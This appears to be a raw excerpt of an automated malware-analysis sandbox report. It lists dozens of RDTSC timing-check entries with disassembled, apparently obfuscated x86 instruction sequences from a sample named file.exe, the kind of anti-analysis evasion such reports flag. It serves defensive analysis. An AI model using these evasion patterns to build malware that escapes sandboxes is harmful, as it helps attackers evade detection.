Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 788206 second address: 78820B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 788315 second address: 788319 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 788319 second address: 788333 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F63E4B4E543h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 788333 second address: 78836F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 mov eax, dword ptr [eax] 0x00000008 pushad 0x00000009 jmp 00007F63E4787959h 0x0000000e jmp 00007F63E478794Bh 0x00000013 popad 0x00000014 mov dword ptr [esp+04h], eax 0x00000018 jp 00007F63E478795Bh 0x0000001e push eax 0x0000001f push edx 0x00000020 push edx 0x00000021 pop edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78E83A second address: 78E83E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78E83E second address: 78E844 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78E97F second address: 78E986 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78EBF9 second address: 78EC11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 jmp 00007F63E4787951h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78EF16 second address: 78EF1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop ebx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 796438 second address: 79644E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F63E4787946h 0x0000000a je 00007F63E4787946h 0x00000010 popad 0x00000011 pushad 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79644E second address: 796453 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 796873 second address: 796879 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 796E21 second address: 796E25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 796E25 second address: 796E4A instructions: 0x00000000 rdtsc 0x00000002 jl 00007F63E4787946h 0x00000008 jmp 00007F63E4787958h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 796E4A second address: 796E5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 popad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 796E5C second address: 796E60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 796E60 second address: 796E76 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 ja 00007F63E4B4E53Eh 0x0000000e push esi 0x0000000f pop esi 0x00000010 jbe 00007F63E4B4E536h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 797107 second address: 797114 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jp 00007F63E478794Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79786E second address: 79787B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jl 00007F63E4B4E536h 0x00000009 push edi 0x0000000a pop edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79787B second address: 797881 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 796123 second address: 796129 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 796129 second address: 79612F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75D03D second address: 743764 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push ebx 0x0000000b call 00007F63E4B4E538h 0x00000010 pop ebx 0x00000011 mov dword ptr [esp+04h], ebx 0x00000015 add dword ptr [esp+04h], 00000014h 0x0000001d inc ebx 0x0000001e push ebx 0x0000001f ret 0x00000020 pop ebx 0x00000021 ret 0x00000022 mov ecx, eax 0x00000024 lea eax, dword ptr [ebp+12474D9Ah] 0x0000002a mov edi, dword ptr [ebp+122D38CBh] 0x00000030 push eax 0x00000031 jmp 00007F63E4B4E53Dh 0x00000036 mov dword ptr [esp], eax 0x00000039 mov cl, dh 0x0000003b call dword ptr [ebp+122D5691h] 0x00000041 push esi 0x00000042 pushad 0x00000043 push eax 0x00000044 push edx 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75D719 second address: 75D78E instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F63E4787956h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xor dword ptr [esp], 134E0891h 0x00000011 call 00007F63E4787957h 0x00000016 jg 00007F63E478794Bh 0x0000001c pop edx 0x0000001d call 00007F63E4787949h 0x00000022 push ebx 0x00000023 jmp 00007F63E478794Dh 0x00000028 pop ebx 0x00000029 push eax 0x0000002a pushad 0x0000002b jmp 00007F63E478794Fh 0x00000030 push eax 0x00000031 push edx 0x00000032 js 00007F63E4787946h 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75D8A0 second address: 75D8A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75D8A4 second address: 75D8D4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F63E478794Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edi 0x0000000a push eax 0x0000000b pushad 0x0000000c pushad 0x0000000d jmp 00007F63E4787957h 0x00000012 pushad 0x00000013 popad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75D8D4 second address: 75D8D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75DB11 second address: 75DB1B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F63E4787946h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75DB1B second address: 75DB1F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75DB1F second address: 75DB31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c jp 00007F63E4787946h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75DB31 second address: 75DB43 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F63E4B4E536h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jnc 00007F63E4B4E53Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75DC31 second address: 75DC35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75DC35 second address: 75DC3B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75DC3B second address: 75DC40 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75DFF7 second address: 75E020 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jmp 00007F63E4B4E53Dh 0x0000000a popad 0x0000000b mov dword ptr [esp], eax 0x0000000e mov dword ptr [ebp+122D2DAAh], esi 0x00000014 push 0000001Eh 0x00000016 mov dword ptr [ebp+124478E3h], ebx 0x0000001c push eax 0x0000001d push ebx 0x0000001e pushad 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75E3F9 second address: 75E405 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F63E478794Ch 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75E405 second address: 75E455 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov dword ptr [esp], eax 0x00000008 sub dword ptr [ebp+12469925h], eax 0x0000000e lea eax, dword ptr [ebp+12474D9Ah] 0x00000014 push 00000000h 0x00000016 push eax 0x00000017 call 00007F63E4B4E538h 0x0000001c pop eax 0x0000001d mov dword ptr [esp+04h], eax 0x00000021 add dword ptr [esp+04h], 00000015h 0x00000029 inc eax 0x0000002a push eax 0x0000002b ret 0x0000002c pop eax 0x0000002d ret 0x0000002e pushad 0x0000002f mov cx, 3995h 0x00000033 pushad 0x00000034 mov dword ptr [ebp+122D2C99h], edi 0x0000003a mov ecx, dword ptr [ebp+122D3637h] 0x00000040 popad 0x00000041 popad 0x00000042 nop 0x00000043 push eax 0x00000044 push edx 0x00000045 push ecx 0x00000046 jno 00007F63E4B4E536h 0x0000004c pop ecx 0x0000004d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75E455 second address: 75E45A instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79CE41 second address: 79CE4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push esi 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79CE4D second address: 79CE52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79CE52 second address: 79CE5C instructions: 0x00000000 rdtsc 0x00000002 jo 00007F63E4B4E53Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79CE5C second address: 79CE97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jg 00007F63E478794Ch 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f js 00007F63E478795Eh 0x00000015 jmp 00007F63E4787956h 0x0000001a push ecx 0x0000001b pop ecx 0x0000001c js 00007F63E4787959h 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79D272 second address: 79D291 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 popad 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F63E4B4E53Dh 0x00000011 push eax 0x00000012 push edx 0x00000013 push ecx 0x00000014 pop ecx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79D291 second address: 79D295 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79D295 second address: 79D29D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79D416 second address: 79D41A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79D59F second address: 79D5AB instructions: 0x00000000 rdtsc 0x00000002 jng 00007F63E4B4E536h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79D5AB second address: 79D5BE instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push edi 0x00000004 pop edi 0x00000005 jp 00007F63E4787946h 0x0000000b pop edi 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push edi 0x0000000f push eax 0x00000010 push edx 0x00000011 push esi 0x00000012 pop esi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79D74A second address: 79D750 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79D750 second address: 79D754 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A6A04 second address: 7A6A08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A6A08 second address: 7A6A24 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F63E4787958h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A6139 second address: 7A6143 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F63E4B4E536h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A6143 second address: 7A61AA instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007F63E4787953h 0x0000000e push edi 0x0000000f pop edi 0x00000010 popad 0x00000011 push ebx 0x00000012 jmp 00007F63E478794Eh 0x00000017 pushad 0x00000018 popad 0x00000019 pop ebx 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007F63E4787954h 0x00000022 push esi 0x00000023 jl 00007F63E4787946h 0x00000029 jmp 00007F63E4787957h 0x0000002e pop esi 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A61AA second address: 7A61B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A6309 second address: 7A630D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A630D second address: 7A6313 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A6313 second address: 7A635B instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F63E478794Ch 0x0000000a pop ebx 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F63E4787959h 0x00000014 jmp 00007F63E4787959h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A635B second address: 7A6361 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A6361 second address: 7A6365 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A6365 second address: 7A6369 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A91FF second address: 7A9203 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A937E second address: 7A938E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F63E4B4E53Ah 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7ABEAE second address: 7ABEC4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F63E4787950h 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7ABEC4 second address: 7ABEE1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F63E4B4E53Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b ja 00007F63E4B4E544h 0x00000011 push eax 0x00000012 push edx 0x00000013 push ecx 0x00000014 pop ecx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7ABA2A second address: 7ABA57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F63E4787946h 0x0000000a jng 00007F63E4787946h 0x00000010 popad 0x00000011 pop esi 0x00000012 pushad 0x00000013 pushad 0x00000014 push ecx 0x00000015 pop ecx 0x00000016 jmp 00007F63E4787955h 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7ABA57 second address: 7ABA60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7ABA60 second address: 7ABA64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7ABA64 second address: 7ABA68 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7ABA68 second address: 7ABA6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B0C9D second address: 7B0CAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 jne 00007F63E4B4E538h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B0CAC second address: 7B0CB2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 721447 second address: 721451 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push edi 0x00000004 pop edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 721451 second address: 721457 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 721457 second address: 72145B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72145B second address: 721480 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push edx 0x0000000a jl 00007F63E4787946h 0x00000010 pop edx 0x00000011 jnp 00007F63E478794Ch 0x00000017 push eax 0x00000018 push edx 0x00000019 js 00007F63E4787946h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AFFB0 second address: 7AFFD9 instructions: 0x00000000 rdtsc 0x00000002 je 00007F63E4B4E536h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 jmp 00007F63E4B4E548h 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AFFD9 second address: 7AFFDE instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AFFDE second address: 7AFFF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F63E4B4E53Dh 0x00000009 pop esi 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B0148 second address: 7B0154 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B0154 second address: 7B015C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B015C second address: 7B01A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F63E4787953h 0x00000009 jnp 00007F63E4787946h 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 popad 0x00000013 pushad 0x00000014 jp 00007F63E478795Ch 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d popad 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B01A0 second address: 7B01A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B02F2 second address: 7B02F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B02F6 second address: 7B02FC instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B02FC second address: 7B031D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F63E4787957h 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B0476 second address: 7B0486 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jmp 00007F63E4B4E53Bh 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B0486 second address: 7B04A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F63E4787946h 0x0000000a jmp 00007F63E4787954h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B074A second address: 7B074E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B0883 second address: 7B08A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F63E4787956h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B08A1 second address: 7B08A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B83A0 second address: 7B83A5 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75DE08 second address: 75DE0E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75DE0E second address: 75DE30 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F63E4787955h 0x00000012 rdtsc
